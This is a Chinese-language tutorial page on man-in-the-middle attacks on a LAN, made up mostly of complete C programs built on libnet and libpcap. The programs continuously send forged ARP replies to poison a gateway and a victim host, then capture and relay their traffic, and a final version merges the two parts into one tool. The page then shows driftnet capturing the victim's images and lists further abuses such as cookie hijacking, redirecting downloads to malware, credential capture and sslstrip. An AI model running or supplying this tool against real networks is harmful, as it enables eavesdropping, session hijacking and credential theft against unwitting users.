首页 > 代码库 > 中间人攻击的原理与实现

中间人攻击的原理与实现

 

  看风云无忌一时有些迟疑。

  那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”

——飞升之后 · 荧惑 风云无忌

 

  下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议)

  上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:


 

(备注:右键另存为 大图较清晰)

实现"中间人"的情景,有两个关键点:

    · ARP欺骗:目的是将通信双方的数据包流经中间人。

    · 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。

  第一步:ArpSpoof

(备注:右键另存为 大图较清晰) 

  ArpSpoof模块的源码如下:

  1  #include <stdio.h>
  2  #include <stdlib.h>
  3  #include <string.h>
  4  #include <unistd.h>
  5  #include <libnet.h>
  6  #include <unistd.h>
  7  #define MAC_ADDR_LEN 6
  8  #define IP_ADDR_LEN 4
  9  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 10                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 11                          )
 12  {
 13          static char padPtr[18];
 14          libnet_t *net_t = NULL; 
 15          char err_buf[LIBNET_ERRBUF_SIZE];
 16          libnet_ptag_t p_tag; 
 17          unsigned int i=0;
 18  
 19          printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 20          printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 21          
 22          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 23          if(net_t == NULL)
 24          {
 25                  printf("libnet_init error\n");
 26                  return 2;
 27          }
 28  
 29          p_tag = libnet_build_arp(
 30                          ARPHRD_ETHER,//hardware type ethernet
 31                          ETHERTYPE_IP,//protocol type
 32                          MAC_ADDR_LEN,//mac length
 33                          IP_ADDR_LEN,//protocol length
 34                          arpOp,//op type
 35                          (u_int8_t *)src_mac,//source mac addr
 36                          (u_int8_t *)src_ip,//source ip addr
 37                          (u_int8_t *)dst_mac,//dest mac addr
 38                          (u_int8_t *)dst_ip,//dest ip  addr
 39                          padPtr,//payload
 40                          18,//payload length
 41                          net_t,//libnet context
 42                          0//0 stands to build a new one
 43          );
 44          
 45          if(-1 == p_tag)
 46          {
 47                  printf("libnet_build_arp error\n");
 48                  libnet_destroy(net_t);
 49                  return 3;
 50          }
 51  
 52          p_tag = libnet_build_ethernet(//create ethernet header
 53                          (u_int8_t *)dst_mac,//dest mac addr
 54                          (u_int8_t *)src_mac,//source mac addr
 55                          ETHERTYPE_ARP,//protocol type
 56                         padPtr,//payload
 57                         0,//payload length
 58                          net_t,//libnet context
 59                          0//0 to build a new one
 60          );
 61  
 62          if(-1 == p_tag)
 63          {
 64                  printf("libnet_build_ethernet error!\n");
 65                  libnet_destroy(net_t);
 66                  return 4;
 67          }
 68          
 69          int res;
 70          i=0;
 71          for(;i<sendTimes;i++)
 72            if(-1 == (res = libnet_write(net_t)))
 73            {
 74                  printf("libnet_write error!\n");
 75                  libnet_destroy(net_t);
 76                  return 5;
 77            }
 78          
 79          libnet_destroy(net_t);
 80          return 0;
 81  FAIL:        
 82          libnet_destroy(net_t);
 83                  return 6;
 84  }
 85 
 86 /*
 87 
 88  int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
 89                      unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 90                          )
 91 */
 92 
 93 void ArpSpoof(
 94           const uint8_t * ip_A, const uint8_t * mac_A,
 95       const uint8_t * ip_B, const uint8_t * mac_B,
 96       const uint8_t * mac_M,
 97           const char * devMitm
 98          )
 99 {
100   //
101   /*
102     arp-reply: M->A B is at M
103     arp-reply: M->B A is at M
104   */ 
105   while(1)
106   {  
107   usleep(500000);
108   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
109       
110   usleep(500000);
111   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
112   }
113   /*
114   char * dev=devMitm;
115   unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 };
116   unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 };
117   unsigned char src_ip[4]={11,22,11,11};
118   unsigned char dst_ip[4]={11,23,11,11};
119   printf(":)\n");
120   printf("%s\n",src_ip_str);
121   while(1)
122     ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3
123                      );
124   */
125 }
126 /*
127         gw            kali
128    192.168.1.1            192.168.1.132
129 14:E6:E4:94:B4:D6       00:0C:29:A4:AC:26
130         A                        B
131 
132              00:11:22:33:44:55
133                     M
134 
135 */
136 void main()
137 {
138 
139   uint8_t ip_A[4]={192,168,1,1};
140   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
141 
142   uint8_t ip_B[4]={192,168,1,108};
143   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
144 
145   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
146 
147   char * devMitm="eth0";
148   while(1)
149   ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
150 
151 }
152 
153 /*
154 void ArpSpoof(
155           const uint8_t * ip_A, const uint8_t * mac_A,
156       const uint8_t * ip_B, const uint8_t * mac_B,
157       const uint8_t * mac_M,
158           const char * devMitm
159          )
160 */
View Code

 

  第二步:数据包分析、转发

  这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

  mitm-forwarder模块的源码如下:

  1 #include <pcap.h>
  2 #include <time.h>
  3 #include <stdlib.h>
  4 #include <stdio.h>
  5 #include <string.h>
  6 #include <stdint.h>
  7 #include <stdio.h>
  8 #include <stdlib.h>
  9 #include <string.h>
 10 #include <unistd.h>
 11 #include <libnet.h>
 12 
 13 #define MAC_ADDR_LEN 6
 14 #define IP_ADDR_LEN 4
 15 
 16 struct ethernet_ip_hdr
 17 {
 18     uint8_t  ether_dhost[6];/* destination ethernet address */
 19     uint8_t  ether_shost[6];/* source ethernet address */
 20     uint16_t ether_type;    /* protocol */
 21     uint8_t  ip_ver_hdrlen; 
 22     uint8_t  ip_tos;  
 23     uint16_t ip_total_len;         /* total length */
 24     uint16_t ip_id;          /* identification */
 25     uint16_t ip_frag;
 26     uint8_t  ip_ttl;          /* time to live */
 27     uint8_t  ip_proto;            /* protocol */
 28     uint16_t ip_hdrCRC;         /* checksum */
 29     uint8_t  ip_src[4];
 30     uint8_t  ip_dst[4];
 31 };
 32 
 33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
 34                    const unsigned char * dst_mac,const unsigned char * src_mac,
 35                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
 36                                )
 37 {
 38          libnet_t *net_t = NULL; 
 39          char err_buf[LIBNET_ERRBUF_SIZE];
 40          libnet_ptag_t p_tag; 
 41          unsigned int i=0;
 42          
 43      //init the libnet context structure
 44          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 45          if(net_t == NULL)
 46          {
 47                  printf("libnet_init error\n");
 48                  return 1;
 49          }
 50       
 51       //build the ethernet packet
 52          p_tag = libnet_build_ethernet(//create ethernet header
 53                          dst_mac,//dest mac addr
 54                          src_mac,//source mac addr
 55                          protoType,//protocol type
 56                          padPtr,//payload
 57                          padLength,//payload length
 58                          net_t,//libnet context
 59                          0//0 to build a new one
 60          );
 61          if(-1 == p_tag)
 62          {
 63                  printf("libnet_build_ethernet error!\n");
 64                  goto FAIL;
 65          }
 66          
 67          for(i=0;i<sendTimes;i++)
 68            if(-1 == libnet_write(net_t))
 69            {
 70                  printf("libnet_write error!\n");
 71                  goto FAIL;
 72            }
 73          
 74          libnet_destroy(net_t);
 75          return 0;
 76      FAIL:        
 77          libnet_destroy(net_t);
 78          return 1;
 79 }
 80 
 81 
 82 struct MITM_para
 83 {
 84     const uint8_t * ip_A;
 85     const uint8_t * mac_A;
 86     const uint8_t * ip_B;
 87     const uint8_t * mac_B;
 88     const uint8_t * mac_M;
 89     const char * BPF_filterStr;
 90     const char * devMitm;
 91 };
 92 
 93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
 94 {
 95   int i;
 96   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
 97   unsigned int    sendTimes=1;
 98   const uint16_t  etherProto=0x0800;
 99   const char    * dev=mitmParaPtr->devMitm;
100   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
101   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
102   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
103   const uint8_t * A_IP=mitmParaPtr->ip_A;
104   const uint8_t * B_IP=mitmParaPtr->ip_B;
105   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
106 
107   if (
108        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
109        //&& 
110        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
111      )
112   { // packet: A send to B
113      printf(" :) ether src A && ip dst B\n");
114      BuildAndSendEthernetPacket(dev,sendTimes,
115                 ether_Bhost,ether_Mhost,
116                 //dst_mac,  src_mac,
117                                 etherProto,packet+14,pkthdr->len-14
118                                );
119   } 
120   else if (
121        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
122        //&& 
123        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
124      )
125   { // packet: B send to A
126      printf("ether src B && ip dst A\n");
127      BuildAndSendEthernetPacket(dev,sendTimes,
128                 ether_Ahost,ether_Mhost,
129                 //dst_mac,  src_mac,
130                                 etherProto,packet+14,pkthdr->len-14
131                                );
132   }  
133 
134 }
135 
136 
137 int mitm_forwarder(
138        const uint8_t * ip_A, const uint8_t * mac_A,
139       const uint8_t * ip_B, const uint8_t * mac_B,
140       const uint8_t * mac_M,const char * BPF_filterStr,
141           const char * devMitm
142         )
143 //BPF_filterStr: ether dst mac_M  and ip  
144 {
145   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
146   struct bpf_program filter;
147 
148   struct MITM_para mitmPara;
149 
150   mitmPara.ip_A=ip_A;
151   mitmPara.mac_A=mac_A;
152 
153   mitmPara.ip_B=ip_B;
154   mitmPara.mac_B=mac_B;
155 
156   mitmPara.mac_M=mac_M;
157 
158   mitmPara.BPF_filterStr=BPF_filterStr;
159   mitmPara.devMitm=devMitm;  
160 
161   /* get a device */
162   devStr = pcap_lookupdev(errBuf);
163   
164   if(devStr)
165   {
166     printf("success: device: %s\n", devStr);
167   }
168   else
169   {
170     printf("error: %s\n", errBuf);
171     exit(1);
172   }
173   
174   /* open a device, wait until a packet arrives */
175   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
176   
177   if(!device)
178   {
179     printf("error: pcap_open_live(): %s\n", errBuf);
180     exit(1);
181   }
182   // ether dst 00:11:22:33:44:55  and ip
183   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
184   pcap_setfilter(device ,&filter );
185   /* wait loop forever */
186   pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara);
187   
188   pcap_close(device);
189 
190   return 0;  
191 }
192 /*
193 
194 int mitm_forwarder(
195        uint8_t * ip_A,uint8_t * mac_A,
196       uint8_t * ip_B,uint8_t * mac_B,
197       uint8_t * mac_M,char * BPF_filterStr,
198           char * devMitm
199         )
200 
201 */
202 void main()
203 {
204 
205   uint8_t ip_A[4]={192,168,1,1};
206   uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
207 
208   uint8_t ip_B[4]={192,168,1,108};
209   uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
210 
211   uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
212 
213   //BPF_filterStr: ether dst mac_M  and ip
214   char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
215   char * devMitm="eth0";
216     
217   mitm_forwarder(
218        ip_A,mac_A,
219       ip_B,mac_B,
220       mac_M,BPF_filterStr,
221           devMitm
222         );
223 
224 }
View Code

 第三步:

   借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

 1 void main()
 2 
 3 {
 4     uint8_t ip_A[4]={192,168,1,1};
 5     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};    
 6     uint8_t ip_B[4]={192,168,1,108};
 7     uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90};
 8     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
 9     //BPF_filterStr: ether dst mac_M  and ip
10     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
11     char * devMitm="eth0";
12     
13   //local
14   pid_t sonPid;
15   sonPid=fork();
16   if( sonPid==-1 )
17   {//failure
18     printf("failure:mitm fork error :( \n");
19   }
20   else if(sonPid==0)
21   {//child
22     printf("child : pid:%d:)\n",getpid());
23     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
24   }
25   else
26   {//parent
27     printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
28     sleep(2);
29     mitm_forwarder(
30        ip_A,mac_A,
31       ip_B,mac_B,
32       mac_M,BPF_filterStr,
33       devMitm
34         );
35   }
36 }

  如此,最终代码如下:

  1 #include<unistd.h>
  2 #include<pcap.h>
  3 #include<time.h>
  4 #include<stdio.h>
  5 #include<stdint.h>
  6 #include<stdio.h>
  7 #include<stdlib.h>
  8 #include<string.h>
  9 #include<unistd.h>
 10 #include<libnet.h>
 11  
 12 #define MAC_ADDR_LEN 6
 13 #define IP_ADDR_LEN 4
 14 
 15 struct ethernet_ip_hdr
 16 {
 17     uint8_t  ether_dhost[6];/* destination ethernet address */
 18     uint8_t  ether_shost[6];/* source ethernet address */
 19     uint16_t ether_type;    /* protocol */
 20     uint8_t  ip_ver_hdrlen; 
 21     uint8_t  ip_tos;  
 22     uint16_t ip_total_len;         /* total length */
 23     uint16_t ip_id;          /* identification */
 24     uint16_t ip_frag;
 25     uint8_t  ip_ttl;          /* time to live */
 26     uint8_t  ip_proto;            /* protocol */
 27     uint16_t ip_hdrCRC;         /* checksum */
 28     uint8_t  ip_src[4];
 29     uint8_t  ip_dst[4];
 30 };
 31 
 32 struct MITM_para
 33 {
 34     const uint8_t * ip_A;
 35     const uint8_t * mac_A;
 36     const uint8_t * ip_B;
 37     const uint8_t * mac_B;
 38     const uint8_t * mac_M;
 39     const char * BPF_filterStr;
 40     const char * devMitm;
 41 };
 42 
 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac,
 44                            const unsigned  char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes
 45                          )
 46  {
 47          static char padPtr[18];
 48          libnet_t *net_t = NULL; 
 49          char err_buf[LIBNET_ERRBUF_SIZE];
 50          libnet_ptag_t p_tag; 
 51          unsigned int i=0;
 52  
 53          //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
 54          //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
 55          
 56          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
 57          if(net_t == NULL)
 58          {
 59                  printf("libnet_init error\n");
 60                  return 2;
 61          }
 62  
 63          p_tag = libnet_build_arp(
 64                          ARPHRD_ETHER,//hardware type ethernet
 65                          ETHERTYPE_IP,//protocol type
 66                          MAC_ADDR_LEN,//mac length
 67                          IP_ADDR_LEN,//protocol length
 68                          arpOp,//op type
 69                          (u_int8_t *)src_mac,//source mac addr
 70                          (u_int8_t *)src_ip,//source ip addr
 71                          (u_int8_t *)dst_mac,//dest mac addr
 72                          (u_int8_t *)dst_ip,//dest ip  addr
 73                          padPtr,//payload
 74                          18,//payload length
 75                          net_t,//libnet context
 76                          0//0 stands to build a new one
 77          );
 78          
 79          if(-1 == p_tag)
 80          {
 81                  printf("libnet_build_arp error\n");
 82                  libnet_destroy(net_t);
 83                  return 3;
 84          }
 85  
 86          p_tag = libnet_build_ethernet(//create ethernet header
 87                          (u_int8_t *)dst_mac,//dest mac addr
 88                          (u_int8_t *)src_mac,//source mac addr
 89                          ETHERTYPE_ARP,//protocol type
 90                         padPtr,//payload
 91                         0,//payload length
 92                          net_t,//libnet context
 93                          0//0 to build a new one
 94          );
 95  
 96          if(-1 == p_tag)
 97          {
 98                  printf("libnet_build_ethernet error!\n");
 99                  libnet_destroy(net_t);
100                  return 4;
101          }
102          
103          int res;
104          i=0;
105          for(;i<sendTimes;i++)
106            if(-1 == (res = libnet_write(net_t)))
107            {
108                  printf("A libnet_write error!\n");
109                  libnet_destroy(net_t);
110                  return 5;
111            }
112          
113          libnet_destroy(net_t);
114          return 0;
115  FAIL:        
116          libnet_destroy(net_t);
117                  return 6;
118  }
119 
120 void ArpSpoof(
121           const uint8_t * ip_A, const uint8_t * mac_A,
122       const uint8_t * ip_B, const uint8_t * mac_B,
123       const uint8_t * mac_M,
124           const char * devMitm
125          )
126 {
127   //
128   /*
129     arp-reply: M->A B is at M
130     arp-reply: M->B A is at M
131   */ 
132   while(1)
133   {  
134   usleep(500000);
135   ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 );
136       
137   usleep(500000);
138   ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 );
139   }
140 }
141 
142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes,
143                    const unsigned char * dst_mac,const unsigned char * src_mac,
144                                const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength
145                                )
146 {
147          libnet_t *net_t = NULL; 
148          char err_buf[LIBNET_ERRBUF_SIZE];
149          libnet_ptag_t p_tag; 
150          unsigned int i=0;
151          
152      //init the libnet context structure
153          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
154          if(net_t == NULL)
155          {
156                  printf("libnet_init error\n");
157                  return 1;
158          }
159       
160       //build the ethernet packet
161          p_tag = libnet_build_ethernet(//create ethernet header
162                          dst_mac,//dest mac addr
163                          src_mac,//source mac addr
164                          protoType,//protocol type
165                          padPtr,//payload
166                          padLength,//payload length
167                          net_t,//libnet context
168                          0//0 to build a new one
169          );
170          if(-1 == p_tag)
171          {
172                  printf("libnet_build_ethernet error!\n");
173                  goto FAIL;
174          }
175          
176          for(i=0;i<sendTimes;i++)
177            if(-1 == libnet_write(net_t))
178            {
179                  printf("B libnet_write error!\n");
180                  goto FAIL;
181            }
182          
183          libnet_destroy(net_t);
184          return 0;
185      FAIL:        
186          libnet_destroy(net_t);
187          return 1;
188 }
189 
190 
191 
192 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
193 {
194   int i;
195   const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg;
196   unsigned int    sendTimes=1;
197   const uint16_t  etherProto=0x0800;
198   const char    * dev=mitmParaPtr->devMitm;
199   const uint8_t * ether_Ahost=mitmParaPtr->mac_A;  
200   const uint8_t * ether_Bhost=mitmParaPtr->mac_B;
201   const uint8_t * ether_Mhost=mitmParaPtr->mac_M;    
202   const uint8_t * A_IP=mitmParaPtr->ip_A;
203   const uint8_t * B_IP=mitmParaPtr->ip_B;
204   const struct    ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr *  ) packet;  
205 
206   if (
207        (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 
208        //&& 
209        //(0==memcmp(hdrPtr->ip_dst,B_IP,4))
210      )
211   { // packet: A send to B
212      printf(" :) ether src A && ip dst B\n");
213      BuildAndSendEthernetPacket(dev,sendTimes,
214                 ether_Bhost,ether_Mhost,
215                 //dst_mac,  src_mac,
216                                 etherProto,packet+14,pkthdr->len-14
217                                );
218   } 
219   else if (
220        (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 
221        //&& 
222        //(0==memcmp(hdrPtr->ip_dst,A_IP,4))
223      )
224   { // packet: B send to A
225      printf("ether src B && ip dst A\n");
226      BuildAndSendEthernetPacket(dev,sendTimes,
227                 ether_Ahost,ether_Mhost,
228                 //dst_mac,  src_mac,
229                 etherProto,packet+14,pkthdr->len-14
230                                );
231   }  
232 }
233 
234 
235 int mitm_forwarder(
236        const uint8_t * ip_A, const uint8_t * mac_A,
237       const uint8_t * ip_B, const uint8_t * mac_B,
238       const uint8_t * mac_M,const char * BPF_filterStr,
239           const char * devMitm
240         )
241 //BPF_filterStr: ether dst mac_M  and ip  
242 {
243   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
244   struct bpf_program filter;
245 
246   struct MITM_para mitmPara;
247 
248   mitmPara.ip_A=ip_A;
249   mitmPara.mac_A=mac_A;
250 
251   mitmPara.ip_B=ip_B;
252   mitmPara.mac_B=mac_B;
253 
254   mitmPara.mac_M=mac_M;
255 
256   mitmPara.BPF_filterStr=BPF_filterStr;
257   mitmPara.devMitm=devMitm;  
258 
259   /* get a device */
260   devStr = pcap_lookupdev(errBuf);
261   
262   if(devStr)
263   {
264     printf("success: device: %s\n", devStr);
265   }
266   else
267   {
268     printf("error: %s\n", errBuf);
269     exit(1);
270   }
271   
272   /* open a device, wait until a packet arrives */
273   pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf);
274   
275   if(!device)
276   {
277     printf("error: pcap_open_live(): %s\n", errBuf);
278     exit(1);
279   }
280   // ether dst 00:11:22:33:44:55  and ip
281   pcap_compile( device,&filter,BPF_filterStr,1,0 );  
282   pcap_setfilter(device ,&filter );
283   /* wait loop forever */
284   pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara);
285   
286   pcap_close(device);
287 
288   return 0;  
289 }
290 
291 
292 /*
293         gw            kali
294    192.168.1.1            192.168.1.108
295 14:E6:E4:94:B4:D6       00:7B:05:03:8E:90
296         A                        B
297 
298              00:11:22:33:44:55
299                     M
300 
301 */
302 
303 void main()
304 
305 {
306     uint8_t ip_A[4]={192,168,1,1};
307     uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6};
308     
309     uint8_t ip_B[4]={192,168,1,31};
310     uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26};
311     
312     uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55};
313     
314     //BPF_filterStr: ether dst mac_M  and ip
315     char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip ";
316     char * devMitm="eth0";
317 
318   //local
319   pid_t sonPid;
320   
321   sonPid=fork();
322   if( sonPid==-1 )
323   {//failure
324     printf("failure:mitm fork error :( \n");
325   }
326   else if(sonPid==0)
327   {//child
328     printf("child : pid:%d:)\n",getpid());
329     ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 
330   }
331   else
332   {//parent
333     printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid);
334     sleep(2);
335     mitm_forwarder(
336        ip_A,mac_A,
337       ip_B,mac_B,
338       mac_M,BPF_filterStr,
339           devMitm
340         );
341   }
342 }
View Code

 

  测试:

    kali        GW

        Ubuntu

  如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:

~# driftnet -i eth0

  而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:

   

  中间人攻击的可怕之处:

  1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;  

  2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;

  3.截获已知认证协议的账户、密码;

  4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;

  5.屏蔽或者重定向指定的网络地址;

   ……